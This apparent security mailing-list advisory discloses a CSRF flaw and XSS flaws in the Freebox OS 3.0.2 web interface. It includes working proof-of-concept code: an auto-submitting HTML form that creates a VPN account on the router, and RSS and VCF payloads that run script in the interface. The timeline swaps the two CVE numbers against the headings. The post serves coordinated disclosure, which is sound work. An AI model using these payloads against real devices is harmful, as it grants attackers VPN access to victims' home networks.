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Freebox OS Web interface 3.0.2 XSS, CSRF



Hello list, 

Here are two CVEs I reported to Freebox, a french ISP:
 - CVE-2014-9382 - CSRF in VPN user account creation
 - CVE-2014-9405 - XSS

Vulnerable product: Freebox OS Web interface 3.0.2.

CVE-2014-9382 - CSRF in Freebox OS Web interface 3.0.2 allowing VPN user account creation
====================
Risk level: High

Freebox allows users to create VPN connections to their home network. 

In version 3.0.2 when a new user is created, the following JSON request is sent to http://mafreebox.free.fr/api/v3/vpn/user/:

{"login":"foo","password_set":false,"ip_reservation":"","password":"bar"}

This request is vulnerable to CSRF which is easy to trigger.

The following POC would create a new VPN account "ngocdh" / "1234=5678":

<html>
  <body onload=vpn.submit()>
    <form name="vpn" action="http://mafreebox.free.fr/api/v3/vpn/user/"; method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;login&quot;&#58;&quot;ngocdh&quot;&#44;&quot;password&#95;set&quot;&#58;false&#44;&quot;ip&#95;reservation&quot;&#58;&quot;&quot;&#44;&quot;password&quot;&#58;&quot;1234" value="5678&quot;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CVE-2014-9405 - XSS in Freebox OS Web interface 3.0.2
====================
Risk level: low

Two XSS instances with low probability of exploitation were found in the following places:
- Download RSS
- Contacts

The following POC demonstrates the XSS in the "description" field of a Download RSS item:

<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom";>
<channel>
<title>From Huy Ngoc</title>
<description>huyngocbk@xxxxxxxxx</description>
<link>http://google.com</link>
<atom:link rel="hub" href="http://google.com"/>
<atom:link rel="self" href="http://google.com"/>
     <item>
        <title>Test by huyngoc</title><description><![CDATA[<img src=/ onerror="alert(document.domain)">]]></description>
        <pubDate>Wed, 19 <b>Nov 2014</b> 20:36:47 UTC</pubDate>
        <guid>http://google.com></guid>
     </item>  
</channel> 
</rss>

In order to exploit this XSS, the attacker must control a RSS feed to which a user have subscribed.


The following VCF file demonstrates a XSS exploitation POC, "alert(document.domain)" would be called after importing this VCF file from the web interface:

BEGIN:VCARD
VERSION:3.0
FN:DAU Huy Ngoc
N:;;;;
URL:<img src=/ onerror='alert(document.domain);'>
END:VCARD

In order to exploit this XSS, the attacker must trick a user into importing his malicious .vcf.


Timeline:
21/11/2014: XSS CVE-2014-9382 is reported to vendor
21/11/2014: vendor confirmed the vulnerability
02/12/2014: CSRF CVE-2014-9405 is reported to vendor
06/12/2014: a hot fix is released (http://dev.freebox.fr/blog/?p=1867)

Credit: DAU Huy Ngoc (@ngocdh)